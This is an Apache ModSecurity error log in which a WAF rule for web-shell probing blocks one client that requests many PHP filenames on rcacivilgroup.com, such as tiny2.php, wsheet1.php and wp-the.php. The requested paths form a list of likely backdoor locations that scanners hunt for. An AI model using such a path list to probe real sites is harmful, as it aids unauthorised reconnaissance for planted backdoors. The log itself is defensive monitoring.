[Sun Apr 05 23:24:47.192018 2026] [:error] [pid 45409:tid 45433] [client 68.221.134.12:37519] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-db.php"] [unique_id "adJ-v9Ht_Oyw03gjCNh2NgAAANY"]
[Sun Apr 05 23:24:48.663482 2026] [:error] [pid 45303:tid 45320] [client 68.221.134.12:23045] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-db.php"] [unique_id "adJ-wLboQ9eViZ4hdnmObgAAAAM"]
[Sun Apr 05 23:24:49.760980 2026] [:error] [pid 30921:tid 30931] [client 68.221.134.12:20282] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/red.php"] [unique_id "adJ-wWFGQVn8Q0ueB25ZkAAAAQg"]
[Sun Apr 05 23:24:51.073039 2026] [:error] [pid 45409:tid 45417] [client 68.221.134.12:65073] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/red.php"] [unique_id "adJ-w9Ht_Oyw03gjCNh2SQAAAMY"]
[Sun Apr 05 23:24:52.357572 2026] [:error] [pid 45409:tid 45418] [client 68.221.134.12:37520] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/red.php"] [unique_id "adJ-xNHt_Oyw03gjCNh2UwAAAMc"]
[Sun Apr 05 23:24:54.143734 2026] [:error] [pid 30921:tid 30933] [client 68.221.134.12:64982] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/red.php"] [unique_id "adJ-xmFGQVn8Q0ueB25ZmgAAAQo"]
[Sun Apr 05 23:24:55.155661 2026] [:error] [pid 30921:tid 30923] [client 68.221.134.12:37535] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an7.php"] [unique_id "adJ-x2FGQVn8Q0ueB25ZnQAAAQA"]
[Sun Apr 05 23:24:56.418915 2026] [:error] [pid 45409:tid 45431] [client 68.221.134.12:52274] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an7.php"] [unique_id "adJ-yNHt_Oyw03gjCNh2cgAAANQ"]
[Sun Apr 05 23:24:57.206133 2026] [:error] [pid 45409:tid 45428] [client 68.221.134.12:11089] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an7.php"] [unique_id "adJ-ydHt_Oyw03gjCNh2eQAAANE"]
[Sun Apr 05 23:24:58.146857 2026] [:error] [pid 45409:tid 45435] [client 68.221.134.12:51031] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an7.php"] [unique_id "adJ-ytHt_Oyw03gjCNh2hQAAANg"]
[Sun Apr 05 23:24:59.497912 2026] [:error] [pid 45409:tid 45417] [client 68.221.134.12:51755] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ava.php"] [unique_id "adJ-y9Ht_Oyw03gjCNh2lQAAAMY"]
[Sun Apr 05 23:25:01.162513 2026] [:error] [pid 45303:tid 45326] [client 68.221.134.12:51061] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ava.php"] [unique_id "adJ-zbboQ9eViZ4hdnmOjgAAAAk"]
[Sun Apr 05 23:25:02.243129 2026] [:error] [pid 45303:tid 45320] [client 68.221.134.12:31927] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ava.php"] [unique_id "adJ-zrboQ9eViZ4hdnmOkgAAAAM"]
[Sun Apr 05 23:25:02.875639 2026] [:error] [pid 45304:tid 45363] [client 68.221.134.12:32399] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ava.php"] [unique_id "adJ-zg5jnqDKKovdRklF-AAAAFM"]
[Sun Apr 05 23:25:03.653470 2026] [:error] [pid 45305:tid 45395] [client 68.221.134.12:29572] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uxijj.php"] [unique_id "adJ-z-jDQjr7aWhjflCQSAAAAJg"]
[Sun Apr 05 23:25:04.407509 2026] [:error] [pid 30921:tid 30938] [client 68.221.134.12:33312] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uxijj.php"] [unique_id "adJ-0GFGQVn8Q0ueB25ZqwAAAQ8"]
[Sun Apr 05 23:25:06.130821 2026] [:error] [pid 45305:tid 45392] [client 68.221.134.12:65314] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uxijj.php"] [unique_id "adJ-0ujDQjr7aWhjflCQTwAAAJU"]
[Sun Apr 05 23:25:07.749691 2026] [:error] [pid 45409:tid 45417] [client 68.221.134.12:36506] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uxijj.php"] [unique_id "adJ-09Ht_Oyw03gjCNh2qAAAAMY"]
[Sun Apr 05 23:25:08.378718 2026] [:error] [pid 45303:tid 45335] [client 68.221.134.12:29619] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs7.php"] [unique_id "adJ-1LboQ9eViZ4hdnmOlQAAABI"]
[Sun Apr 05 23:25:09.278948 2026] [:error] [pid 45303:tid 45341] [client 68.221.134.12:16012] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs7.php"] [unique_id "adJ-1bboQ9eViZ4hdnmOlgAAABg"]
[Sun Apr 05 23:25:09.988630 2026] [:error] [pid 45409:tid 45431] [client 68.221.134.12:32427] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs7.php"] [unique_id "adJ-1dHt_Oyw03gjCNh2rQAAANQ"]
[Sun Apr 05 23:25:10.891185 2026] [:error] [pid 45305:tid 45394] [client 68.221.134.12:26758] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs7.php"] [unique_id "adJ-1ujDQjr7aWhjflCQWQAAAJc"]
[Sun Apr 05 23:25:11.830666 2026] [:error] [pid 45409:tid 45413] [client 68.221.134.12:36483] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool2.php"] [unique_id "adJ-19Ht_Oyw03gjCNh2wAAAAMI"]
[Sun Apr 05 23:25:12.610408 2026] [:error] [pid 45409:tid 45429] [client 68.221.134.12:16053] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool2.php"] [unique_id "adJ-2NHt_Oyw03gjCNh2xwAAANI"]
[Sun Apr 05 23:25:13.388859 2026] [:error] [pid 45409:tid 45413] [client 68.221.134.12:36526] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool2.php"] [unique_id "adJ-2dHt_Oyw03gjCNh20wAAAMI"]
[Sun Apr 05 23:25:14.104939 2026] [:error] [pid 45303:tid 45320] [client 68.221.134.12:51041] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool2.php"] [unique_id "adJ-2rboQ9eViZ4hdnmOoAAAAAM"]
[Sun Apr 05 23:25:14.674201 2026] [:error] [pid 30921:tid 30927] [client 68.221.134.12:5071] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zjllx.php"] [unique_id "adJ-2mFGQVn8Q0ueB25ZzAAAAQQ"]
[Sun Apr 05 23:25:15.500345 2026] [:error] [pid 45304:tid 45365] [client 68.221.134.12:19949] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zjllx.php"] [unique_id "adJ-2w5jnqDKKovdRklGGQAAAFU"]
[Sun Apr 05 23:25:16.250431 2026] [:error] [pid 45409:tid 45419] [client 68.221.134.12:4396] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zjllx.php"] [unique_id "adJ-3NHt_Oyw03gjCNh29AAAAMg"]
[Sun Apr 05 23:25:16.846731 2026] [:error] [pid 45303:tid 45326] [client 68.221.134.12:19967] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zjllx.php"] [unique_id "adJ-3LboQ9eViZ4hdnmOpQAAAAk"]
[Sun Apr 05 23:25:17.436007 2026] [:error] [pid 45303:tid 45320] [client 68.221.134.12:5099] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h2.php"] [unique_id "adJ-3bboQ9eViZ4hdnmOpwAAAAM"]
[Sun Apr 05 23:25:18.609769 2026] [:error] [pid 45305:tid 45394] [client 68.221.134.12:19917] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h2.php"] [unique_id "adJ-3ujDQjr7aWhjflCQagAAAJc"]
[Sun Apr 05 23:25:19.843924 2026] [:error] [pid 45303:tid 45329] [client 68.221.134.12:47795] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h2.php"] [unique_id "adJ-37boQ9eViZ4hdnmOrgAAAAw"]
[Sun Apr 05 23:25:22.297333 2026] [:error] [pid 45304:tid 45353] [client 68.221.134.12:51014] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h2.php"] [unique_id "adJ-4g5jnqDKKovdRklGIwAAAEk"]
[Sun Apr 05 23:25:24.890391 2026] [:error] [pid 45409:tid 45422] [client 68.221.134.12:4715] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tiny2.php"] [unique_id "adJ-5NHt_Oyw03gjCNh3LQAAAMs"]
[Sun Apr 05 23:25:26.515338 2026] [:error] [pid 45409:tid 45432] [client 68.221.134.12:47780] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tiny2.php"] [unique_id "adJ-5tHt_Oyw03gjCNh3NwAAANU"]
[Sun Apr 05 23:25:27.952656 2026] [:error] [pid 45409:tid 45433] [client 68.221.134.12:19854] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tiny2.php"] [unique_id "adJ-59Ht_Oyw03gjCNh3QgAAANY"]
[Sun Apr 05 23:25:29.401172 2026] [:error] [pid 45305:tid 45390] [client 68.221.134.12:4702] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tiny2.php"] [unique_id "adJ-6ejDQjr7aWhjflCQeAAAAJM"]
[Sun Apr 05 23:25:30.205059 2026] [:error] [pid 45409:tid 45412] [client 68.221.134.12:19959] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsheet1.php"] [unique_id "adJ-6tHt_Oyw03gjCNh3TQAAAME"]
[Sun Apr 05 23:25:31.399424 2026] [:error] [pid 45409:tid 45434] [client 68.221.134.12:24870] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsheet1.php"] [unique_id "adJ-69Ht_Oyw03gjCNh3UwAAANc"]
[Sun Apr 05 23:25:32.019608 2026] [:error] [pid 45409:tid 45419] [client 68.221.134.12:65274] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsheet1.php"] [unique_id "adJ-7NHt_Oyw03gjCNh3WAAAAMg"]
[Sun Apr 05 23:25:32.708357 2026] [:error] [pid 45303:tid 45329] [client 68.221.134.12:42006] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsheet1.php"] [unique_id "adJ-7LboQ9eViZ4hdnmOxwAAAAw"]
[Sun Apr 05 23:25:33.744391 2026] [:error] [pid 45409:tid 45430] [client 68.221.134.12:42004] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dbc.php"] [unique_id "adJ-7dHt_Oyw03gjCNh3YQAAANM"]
[Sun Apr 05 23:25:34.365679 2026] [:error] [pid 45409:tid 45423] [client 68.221.134.12:28007] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dbc.php"] [unique_id "adJ-7tHt_Oyw03gjCNh3ZwAAAMw"]
[Sun Apr 05 23:25:35.181367 2026] [:error] [pid 45409:tid 45431] [client 68.221.134.12:19857] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dbc.php"] [unique_id "adJ-79Ht_Oyw03gjCNh3awAAANQ"]
[Sun Apr 05 23:25:35.735136 2026] [:error] [pid 45409:tid 45432] [client 68.221.134.12:4698] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dbc.php"] [unique_id "adJ-79Ht_Oyw03gjCNh3bQAAANU"]
[Sun Apr 05 23:25:36.464465 2026] [:error] [pid 30921:tid 30941] [client 68.221.134.12:29679] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "adJ-8GFGQVn8Q0ueB25aLQAAARI"]
[Sun Apr 05 23:25:37.020099 2026] [:error] [pid 30921:tid 30942] [client 68.221.134.12:23909] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "adJ-8WFGQVn8Q0ueB25aMgAAARM"]
[Sun Apr 05 23:25:37.556066 2026] [:error] [pid 45409:tid 45423] [client 68.221.134.12:19893] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "adJ-8dHt_Oyw03gjCNh3ewAAAMw"]
[Sun Apr 05 23:25:38.091740 2026] [:error] [pid 45409:tid 45418] [client 68.221.134.12:29633] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "adJ-8tHt_Oyw03gjCNh3gAAAAMc"]
[Sun Apr 05 23:25:38.789127 2026] [:error] [pid 45305:tid 45375] [client 68.221.134.12:65233] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ukaa.php"] [unique_id "adJ-8ujDQjr7aWhjflCQiAAAAIQ"]
[Sun Apr 05 23:25:39.590085 2026] [:error] [pid 45409:tid 45422] [client 68.221.134.12:44922] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ukaa.php"] [unique_id "adJ-89Ht_Oyw03gjCNh3jQAAAMs"]
[Sun Apr 05 23:25:54.297768 2026] [:error] [pid 45303:tid 45322] [client 68.221.134.12:24437] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-turn.php"] [unique_id "adJ_ArboQ9eViZ4hdnmPDgAAAAU"]
[Sun Apr 05 23:25:55.867836 2026] [:error] [pid 45303:tid 45329] [client 68.221.134.12:34138] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-turn.php"] [unique_id "adJ_A7boQ9eViZ4hdnmPFQAAAAw"]
[Sun Apr 05 23:25:57.533686 2026] [:error] [pid 45303:tid 45336] [client 68.221.134.12:35913] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-turn.php"] [unique_id "adJ_BbboQ9eViZ4hdnmPHQAAABM"]
[Sun Apr 05 23:25:58.829961 2026] [:error] [pid 45409:tid 45432] [client 68.221.134.12:24441] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-turn.php"] [unique_id "adJ_BtHt_Oyw03gjCNh30wAAANU"]
